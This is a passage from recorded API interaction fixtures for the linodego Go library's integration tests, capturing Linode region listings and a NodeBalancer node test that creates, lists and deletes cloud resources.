{"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "au-mel", "label": "Melbourne, AU", "country": "au", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.236.32.23,172.236.32.35,172.236.32.30,172.236.32.28,172.236.32.32,172.236.32.33,172.236.32.27,172.236.32.37,172.236.32.29,172.236.32.34", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "in-bom-2", "label": "Mumbai 2, IN", "country": "in", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.236.171.41,172.236.171.42,172.236.171.25,172.236.171.44,172.236.171.26,172.236.171.45,172.236.171.24,172.236.171.43,172.236.171.27,172.236.171.28", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "de-fra-2", "label": "Frankfurt 2, DE", "country": "de", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.236.203.9,172.236.203.16,172.236.203.19,172.236.203.15,172.236.203.17,172.236.203.11,172.236.203.18,172.236.203.14,172.236.203.13,172.236.203.12", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "sg-sin-2", "label": "Singapore 2, SG", "country": "sg", "capabilities": ["Linodes", "Block Storage Encryption", "Backups", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.236.129.8,172.236.129.42,172.236.129.41,172.236.129.19,172.236.129.46,172.236.129.23,172.236.129.48,172.236.129.20,172.236.129.21,172.236.129.47", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "jp-tyo-3", "label": "Tokyo 3, JP", "country": "jp", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.237.4.15,172.237.4.19,172.237.4.17,172.237.4.21,172.237.4.16,172.237.4.18,172.237.4.23,172.237.4.24,172.237.4.20,172.237.4.14", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-central", "label": "Dallas, TX", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "72.14.179.5, 72.14.188.5, 173.255.199.5, 66.228.53.5, 96.126.122.5, 96.126.124.5, 96.126.127.5, 198.58.107.5, 198.58.111.5, 23.239.24.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-west", "label": "Fremont, CA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "173.230.145.5, 173.230.147.5, 173.230.155.5, 173.255.212.5, 173.255.219.5, 173.255.241.5, 173.255.243.5, 173.255.244.5, 74.207.241.5, 74.207.242.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-southeast", "label": "Atlanta, GA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "74.207.231.5,173.230.128.5,173.230.129.5,173.230.136.5,173.230.140.5,66.228.59.5,66.228.62.5,50.116.35.5,50.116.41.5,23.239.18.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-east", "label": "Newark, NJ", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "66.228.42.5, 96.126.106.5, 50.116.53.5, 50.116.58.5, 50.116.61.5, 50.116.62.5, 66.175.211.5, 97.107.133.4, 207.192.69.4, 207.192.69.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "eu-west", "label": "London, UK", "country": "gb", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "178.79.182.5, 176.58.107.5, 176.58.116.5, 176.58.121.5, 151.236.220.5, 212.71.252.5, 212.71.253.5, 109.74.192.20, 109.74.193.20, 109.74.194.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-south", "label": "Singapore, SG", "country": "sg", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "139.162.11.5,139.162.13.5,139.162.14.5,139.162.15.5,139.162.16.5,139.162.21.5,139.162.27.5,103.3.60.18,103.3.60.19,103.3.60.20", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "eu-central", "label": "Frankfurt, DE", "country": "de", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "139.162.130.5,139.162.131.5,139.162.132.5,139.162.133.5,139.162.134.5,139.162.135.5,139.162.136.5,139.162.137.5,139.162.138.5,139.162.139.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-northeast", "label": "Tokyo 2, JP", "country": "jp", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "139.162.66.5,139.162.67.5,139.162.68.5,139.162.69.5,139.162.70.5,139.162.71.5,139.162.72.5,139.162.73.5,139.162.74.5,139.162.75.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}], "page": 1, "pages": 1, "results": 31}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Tue, 05 Nov 2024 16:22:46 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter - Accept-Encoding X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"label":"go-test-def","region":"ap-west","client_conn_throttle":20,"tags":null,"firewall_id":1136777}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/nodebalancers method: POST response: body: '{"id": 1017184, "label": "go-test-def", "region": "ap-west", "hostname": "172-105-45-55.ip.linodeusercontent.com", "ipv4": "172.105.45.55", "ipv6": "1234::5678", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "client_conn_throttle": 20, "tags": [], "transfer": {"in": null, "out": null, "total": null}}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "335" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Tue, 05 Nov 2024 16:22:46 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - nodebalancers:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"port":80,"protocol":"http","algorithm":"roundrobin","check_interval":60}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/nodebalancers/1017184/configs method: POST response: body: '{"id": 1680032, "port": 80, "protocol": "http", "algorithm": "roundrobin", "stickiness": "none", "check": "none", "check_interval": 60, "check_timeout": 30, "check_attempts": 3, "check_path": "", "check_body": "", "check_passive": true, "proxy_protocol": "none", "cipher_suite": "recommended", "nodebalancer_id": 1017184, "ssl_commonname": "", "ssl_fingerprint": "", "ssl_cert": null, "ssl_key": null, "nodes_status": {"up": 0, "down": 0}}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "439" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Tue, 05 Nov 2024 16:22:47 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - nodebalancers:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"region":"ap-west","type":"g6-nanode-1","label":"go-test-ins-h43k7pf6g35m","root_pass":"L''TVS6BAf{GE!qd8+k[7x0|EW6}$ez41(tIf880@#s5CuU6U9Pn#7$ukJ]m*[7p4","image":"linode/debian9","firewall_id":1136777,"booted":false}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances method: POST response: body: '{"id": 66622236, "label": "go-test-ins-h43k7pf6g35m", "group": "", "status": "provisioning", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "type": "g6-nanode-1", "ipv4": ["172.105.50.147"], "ipv6": "1234::5678/128", "image": "linode/debian9", "region": "ap-west", "site_type": "core", "specs": {"disk": 25600, "memory": 1024, "vcpus": 1, "gpus": 0, "transfer": 1000}, "alerts": {"cpu": 90, "network_in": 10, "network_out": 10, "transfer_quota": 80, "io": 10000}, "backups": {"enabled": true, "available": false, "schedule": {"day": null, "window": null}, "last_successful": null}, "hypervisor": "kvm", "watchdog_enabled": true, "tags": [], "host_uuid": "454cc4590caa2a8de6a482c1c9e382273edb1576", "has_user_data": false, "placement_group": null, "disk_encryption": "disabled", "lke_cluster_id": null, "capabilities": ["SMTP Enabled"]}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Tue, 05 Nov 2024 16:22:50 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Accept-Encoding X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "5" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"type":"ipv4","public":false}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/66622236/ips method: POST response: body: '{"address": "192.168.133.232", "gateway": null, "subnet_mask": "255.255.128.0", "prefix": 17, "type": "ipv4", "public": false, "rdns": null, "linode_id": 66622236, "region": "ap-west", "vpc_nat_1_1": null, "reserved": false}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "224" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Tue, 05 Nov 2024 16:22:50 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"address":"192.168.133.232:8080","label":"go-node-test-def","weight":10,"mode":"accept"}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/nodebalancers/1017184/configs/1680032/nodes method: POST response: body: '{"id": 2077580834, "address": "192.168.133.232:8080", "label": "go-node-test-def", "status": "Unknown", "weight": 10, "mode": "accept", "config_id": 1680032, "nodebalancer_id": 1017184}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "185" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Tue, 05 Nov 2024 16:22:50 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - nodebalancers:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/nodebalancers/1017184/configs/1680032/nodes?page=1 method: GET response: body: '{"data": [{"id": 2077580834, "address": "192.168.133.232:8080", "label": "go-node-test-def", "status": "Unknown", "weight": 10, "mode": "accept", "config_id": 1680032, "nodebalancer_id": 1017184}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "234" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Tue, 05 Nov 2024 16:22:50 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - nodebalancers:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/nodebalancers/1017184/configs/1680032/nodes/2077580834 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Tue, 05 Nov 2024 16:22:50 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - nodebalancers:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/66622236 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Tue, 05 Nov 2024 16:22:52 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/nodebalancers/1017184/configs/1680032 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Tue, 05 Nov 2024 16:22:52 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - nodebalancers:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/nodebalancers/1017184 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Tue, 05 Nov 2024 16:22:53 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - nodebalancers:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" TestNodeBalancerNodes_ListInstance.yaml000066400000000000000000000763601474652371000342330ustar00rootroot00000000000000golang-github-linode-linodego-1.47.0/test/integration/fixtures--- version: 1 interactions: - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/regions?page=1 method: GET response: body: '{"data": [{"id": "ap-west", "label": "Mumbai, IN", "country": "in", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "172.105.34.5, 172.105.35.5, 172.105.36.5, 172.105.37.5, 172.105.38.5, 172.105.39.5, 172.105.40.5, 172.105.41.5, 172.105.42.5, 172.105.43.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ca-central", "label": "Toronto, CA", "country": "ca", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "172.105.0.5, 172.105.3.5, 172.105.4.5, 172.105.5.5, 172.105.6.5, 172.105.7.5, 172.105.8.5, 172.105.9.5, 172.105.10.5, 172.105.11.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-southeast", "label": "Sydney, AU", "country": "au", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "172.105.166.5, 172.105.169.5, 172.105.168.5, 172.105.172.5, 172.105.162.5, 172.105.170.5, 172.105.167.5, 172.105.171.5, 172.105.181.5, 172.105.161.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-iad", "label": "Washington, DC", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "139.144.192.62, 139.144.192.60, 139.144.192.61, 139.144.192.53, 139.144.192.54, 139.144.192.67, 139.144.192.69, 139.144.192.66, 139.144.192.52, 139.144.192.68", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-ord", "label": "Chicago, IL", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.0.17, 172.232.0.16, 172.232.0.21, 172.232.0.13, 172.232.0.22, 172.232.0.9, 172.232.0.19, 172.232.0.20, 172.232.0.15, 172.232.0.18", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "fr-par", "label": "Paris, FR", "country": "fr", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.32.21, 172.232.32.23, 172.232.32.17, 172.232.32.18, 172.232.32.16, 172.232.32.22, 172.232.32.20, 172.232.32.14, 172.232.32.11, 172.232.32.12", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-sea", "label": "Seattle, WA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.160.19, 172.232.160.21, 172.232.160.17, 172.232.160.15, 172.232.160.18, 172.232.160.8, 172.232.160.12, 172.232.160.11, 172.232.160.14, 172.232.160.16", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "br-gru", "label": "Sao Paulo, BR", "country": "br", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", 